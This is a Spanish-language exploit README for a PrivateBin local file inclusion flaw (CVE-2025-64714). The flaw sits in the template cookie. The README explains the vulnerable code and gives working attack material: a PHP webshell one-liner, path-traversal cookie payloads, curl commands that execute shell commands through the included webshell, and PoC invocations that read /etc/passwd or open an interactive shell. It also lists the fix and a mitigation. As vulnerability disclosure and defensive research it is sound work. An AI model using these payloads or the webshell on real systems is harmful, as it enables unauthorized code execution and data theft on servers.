
Severidad: Media (CVSS v3.1: 5.8)
Vector:AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Versiones afectadas: PrivateBin >= 1.7.7
Versión parcheada: 2.0.3
CWE: CWE-23 (Path Traversal Relativo), CWE-73 (Control Externo del Nombre o Ruta de Archivo), CWE-98 (Inclusión de Archivos PHP)
Aviso oficial: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
Informador: Benoit Esnard
La versión 1.7.7 de PrivateBin introdujo una función de cambio de plantilla que permite a los usuarios conservar su tema visual preferido mediante una cookie template. Debido a una validación insuficiente del valor de la cookie, un atacante no autenticado puede proporcionar una secuencia de path traversal (p. ej. ../) para conseguir que el servidor incluya un archivo PHP arbitrario fuera del directorio tpl/ previsto: una clásica vulnerabilidad de Inclusión Local de Archivos (LFI).
Cuando se combina con una primitiva de escritura independiente (un endpoint de subida mal configurado, otra vulnerabilidad o acceso local), esta LFI puede escalar a Ejecución Remota de Código (RCE).
44f8cfb, v1.7.7)Antes de v1.7.7, TemplateSwitcher::isTemplateAvailable() solo aceptaba plantillas que formaban parte de una lista blanca predefinida:
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
En v1.7.7 se añadió una ruta alternativa para admitir temas de terceros. El nuevo código comprueba si el archivo existe en disco en lugar de validarlo contra una lista segura:
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path); // ← trusts user-supplied $template
}
return $available;
}
View::getTemplateFilePath() simplemente concatena el valor proporcionado por el usuario en una ruta del sistema de archivos:
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';
Con template=../cfg/conf, la ruta resuelta se convierte en:
/var/www/privatebin/tpl/../cfg/conf.php
──────────────────────────────────
= /var/www/privatebin/cfg/conf.php
No hay ninguna llamada a realpath(), no se eliminan las secuencias .., ni se comprueba que la ruta resuelta permanezca dentro de tpl/.
Una vez que isTemplateAvailable() devuelve true, View::draw() incluye la ruta de forma incondicional:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path; // ← attacker-controlled path included here
}
extract($this->_variables) también se ejecuta antes de la inclusión, lo que puede contaminar el espacio de nombres de variables disponible para el archivo incluido.
La única protección adicional es una comprobación que bloquea las cadenas que empiezan por bootstrap-:
if (!$available && !View::isBootstrapTemplate($template)) { … }
isBootstrapTemplate() devuelve true solo cuando la cadena empieza por bootstrap-. Una cadena de path traversal como ../data/shell evita esto trivialmente.
Ambas condiciones deben cumplirse simultáneamente:
| # | Condición |
|---|---|
| 1 | templateselection = true está establecido en cfg/conf.php (no predeterminado) |
| 2 | El atacante puede hacer referencia a un archivo .php existente mediante una ruta relativa desde tpl/ |
Para LFI puro / filtración de información, la condición 2 ya la cumplen los archivos PHP existentes de PrivateBin.
Para RCE, el atacante necesita además una primitiva de escritura para colocar un webshell PHP en un directorio accesible (p. ej. data/, directorios de subida con escritura, etc.).
El atacante lee los archivos PHP del propio PrivateBin. La mayoría están protegidos por una línea de protección que produce una respuesta 403 o 500, pero la propia respuesta confirma la LFI.
Cookie: template=../cfg/conf
Resuelto en el servidor: tpl/../cfg/conf.php → cfg/conf.php
Incluso una respuesta 500 es una señal significativa: demuestra que se alcanzó el archivo y que el motor PHP intentó ejecutarlo.
⚠️ Requisito previo importante: CVE-2025-64714 es una vulnerabilidad de Inclusión Local de Archivos — solo puede incluir archivos que ya existen en el servidor. No proporciona ninguna capacidad de escritura por sí misma. Para lograr RCE, primero se debe obtener una primitiva de escritura a través de un vector completamente separado (p. ej. una vulnerabilidad de subida de archivos en otro componente, SSRF a un servicio interno o acceso directo al sistema de archivos en un entorno CTF/laboratorio). Sin una primitiva de escritura, los modos
--cmdy--interactivedel PoC no tienen efecto. El script del PoC solo sondea un webshell que ya debe haber colocado por otros medios.
Paso 1 — Coloque un webshell mediante cualquier vector de escritura (p. ej. otra vulnerabilidad de subida de archivos, SSRF a un servicio interno o acceso directo al sistema de archivos en un escenario CTF/laboratorio):
// /var/www/privatebin/data/shell.php
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';} ?>
Paso 2 — Active la LFI mediante la cookie de plantilla:
Cookie: template=../data/shell
Resuelto: tpl/../data/shell.php → data/shell.php ✓
Paso 3 — Ejecute comandos mediante el parámetro GET:
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
Respuesta:
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
Si otras aplicaciones PHP comparten la misma raíz web (algo común en el alojamiento compartido), sus archivos de configuración pueden ser accesibles:
Cookie: template=../../other_app/config/database
pip install requests
# 1. Detect whether the target is vulnerable
python3 poc.py --url https://bin.example.com --detect
# 2. Trigger LFI to read a specific PHP file
python3 poc.py --url https://bin.example.com --template ../cfg/conf
# 3. Upload + trigger webshell + run single command (RCE chain)
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--cmd "cat /etc/passwd"
# 4. Interactive pseudo-shell
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--interactive
# Detection probe
curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com
# RCE (after writing shell to data/pwn.php)
curl -s -k \
--cookie 'template=../data/pwn' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
El análisis del propio equipo de PrivateBin encontró que 11 de ~300 instancias listadas públicamente tenían templateselection habilitado, y ninguna tenía un archivo de configuración sin proteger en el momento de la divulgación. Sin embargo, la vulnerabilidad sigue siendo significativa en entornos con configuraciones incorrectas o vulnerabilidades de escritura secundarias.
Actualice a PrivateBin 2.0.3 o posterior. La corrección restablece una validación estricta de lista blanca: el valor de la cookie template solo se acepta si coincide exactamente con un nombre de plantilla de la lista availabletemplates configurada.
Deshabilite la selección de plantillas en cfg/conf.php:
[main]
templateselection = false
Este es el valor predeterminado; solo es necesario establecerlo explícitamente si estaba habilitado anteriormente.
Este repositorio se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El autor no es responsable de ningún uso indebido. Obtenga siempre un permiso explícito por escrito antes de realizar pruebas contra sistemas que no le pertenezcan. La explotación no autorizada de sistemas informáticos es ilegal en la mayoría de las jurisdicciones.
| Vector | Impacto | Notas |
|---|
| LFI — Config de PrivateBin | Limitado | El archivo de configuración predeterminado tiene una línea de protección PHP; produce 403/500 |
| LFI — Archivos de datos de pastes | Limitado | Cada archivo de paste incluye la misma línea de protección |
| LFI — Archivos PHP de terceros | Alto | Depende de las aplicaciones co-alojadas |
| LFI + primitiva de escritura → RCE | Crítico | Ejecución completa de comandos como el usuario del servidor web |